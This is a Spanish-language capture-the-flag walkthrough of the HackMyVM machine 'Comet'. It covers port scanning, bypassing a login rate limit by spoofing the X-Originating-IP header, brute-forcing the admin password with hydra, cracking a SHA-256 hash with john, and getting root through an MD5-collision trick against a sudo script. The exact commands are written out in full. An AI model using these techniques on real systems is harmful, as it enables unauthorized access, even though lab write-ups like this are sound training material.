Comet - Hackmyvm

0xH3rshel · March 22, 2023

Autor: Cromiphi
Dificultad: Medio

img

Reconocimiento

Como es costumbre, comienzo enumerando los puertos disponibles.

$ sudo nmap -p- 192.168.1.60           
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-22 10:28 EDT
Nmap scan report for comet.hmv (192.168.1.60)
Host is up (0.00047s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:38:E4:4D (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds

En este caso, para realizar la enumeración del servidor web utilizo nikto.

$ nikto --url 192.168.1.60
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.1.60
+ Target Hostname:    192.168.1.60
+ Target Port:        80
+ Start Time:         2023-03-22 10:29:43 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.54 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 1bb9, size: 5f50f4bf1b6c0, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /ip.txt: This may be User Online version 2.0, which has a remotely accessible log file.
+ /images/: Directory indexing found.
+ /login.php: Admin login page/section found.
+ 8102 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2023-03-22 10:29:57 (GMT-4) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Hay dos archivos interesantes, “/ip.txt” y “/login.php”.

Se puede acceder a la página de login a traves de la página principal.

img

Y esto es con lo que nos encontramos.

img

Cuando realizo un intento de inicio de sesión, no puedo realizar más hasta pasado aproximadamente un minuto. Esto se debe a que hay algún tipo de firewall. Se puede comprobar ya que aparece mi dirección ip en el archivo “/ip.txt”

$ curl 192.168.1.60/ip.txt
192.168.1.86

Cuando desaparezca mi dirección del archivo, podré volver a hacer otra petición.

Explotación

Para evitar el firewall, utilizo la cabecera “X-Originating-ip” y escribo cualquier cosa.

$ curl -H "X-ORIGINATING-IP: Not Blacklisted :)" -d "username=admin&password=1234" -X POST http://comet.hmv/login.php

De esta manera ya no bloquea mi ip.

$ curl 192.168.1.60/ip.txt
Not Blacklisted :)

Ahora ya puedo realizar un ataque de fuerza bruta con hydra.

$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.60 http-post-form "/login.php:username=admin&password=^PASS^:H=X-ORIGINATING-IP:test:F=Invalid"
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-22 11:38:58
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://192.168.1.60:80/login.php:username=admin&password=^PASS^:H=X-ORIGINATING-IP:test:F=Invalid
[STATUS] 3913.00 tries/min, 3913 tries in 00:01h, 14340486 to do in 61:05h, 16 active
[80][http-post-form] host: 192.168.1.60   login: admin   password: sol******
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-22 11:40:31

(Muchas gracias a Noname por la ayuda con la sintaxis de Hydra)

Una vez obtenida la contraseña del usuario “admin”, inicio sesión y soy redirigido a la carpeta “/logFire” en la que hay una gran cantidad de archivos.

img

Hay dos tipos de archivos: muchos logs y un binario.

Logs

Descargo los logs con el siguiente comando.

$ for i in {1..51};do wget "http://192.168.1.60/logFire/firewall.log.$i"; done

Y al buscar información, encuentro una referencia al usuario “Joe”.

$ cat * | sort | uniq -u                                  
2023-02-19 16:35:31 192.168.1.10 | 192.168.1.50 | Allowed | Inbound connection | Joe

Binario

En la carpeta “/logFire” existe el binario “firewall_update”. Me lo descargo y lo analizo usando radare 2.

img

Como se puede ver, el binario pide una contraseña, le aplica una función hash y lo compara con un hash que tiene guardado.

Lo primero que hago es copiar el hash del binario e intentar crackearlo usando john. (El hash es la cadena que comienza por b87 hasta 2b1).

$ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pre********      (?)     
1g 0:00:00:00 DONE (2023-03-22 11:47) 33.33g/s 2184Kp/s 2184Kc/s 2184KC/s 123456..sabrina7
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.

Contraseña encontrada!!

Escalado de Privilegios

Utilizo ssh para conectarme como el usuario Joe y la contraseña previamente crackeada.

$ ssh joe@192.168.1.60
joe@192.168.1.60's password: 
Linux comet.hmv 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Mar 22 16:50:42 2023 from 192.168.1.86
joe@comet:~$ :)

Compruebo los permisos que tiene Joe para ejecutar comandos utilizando sudo.

joe@comet:~$ sudo -l
Matching Defaults entries for joe on comet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User joe may run the following commands on comet:
    (ALL : ALL) NOPASSWD: /bin/bash /home/joe/coll

A continuación muestro el script que puedo ejecutar como Root.

#!/bin/bash
exec 2>/dev/null

file1=/home/joe/file1
file2=/home/joe/file2
md5_1=$(md5sum $file1 | awk '{print $1}')
md5_2=$(md5sum $file2 | awk '{print $1}')


if      [[ $(head -n 1 $file1) == "HMV" ]] && 
        [[ $(head -n 1 $file2) == "HMV" ]] && 
        [[ $md5_1 == $md5_2 ]] && 
        [[ $(diff -q $file1 $file2) ]]; then
    chmod +s /bin/bash
    exit 0
else
    exit 1
fi

Este script comprueba que dos archivos (file1 y file2) tengan el mismo prefijo “HMV” y generen el mismo hash MD5 pero tengan alguna diferencia. Lo que viene siento una colisión.

En los siguientes enlaces de github se explica detalladamente como realizar este tipo de colisiones.

Yo he generado los dos archivos en mi máquina Kali y tras comprobar que efectivamente cumplen los requisitos, los muevo a la máquina Comet donde ejecuto el script.

joe@comet:~$ sudo /bin/bash /home/joe/coll
joe@comet:~$ /bin/bash -p
bash-5.1# whoami
root
bash-5.1# :)

Root conseguido!!

Muchas gracias a Cromiphi por esta máquina.

Twitter, Facebook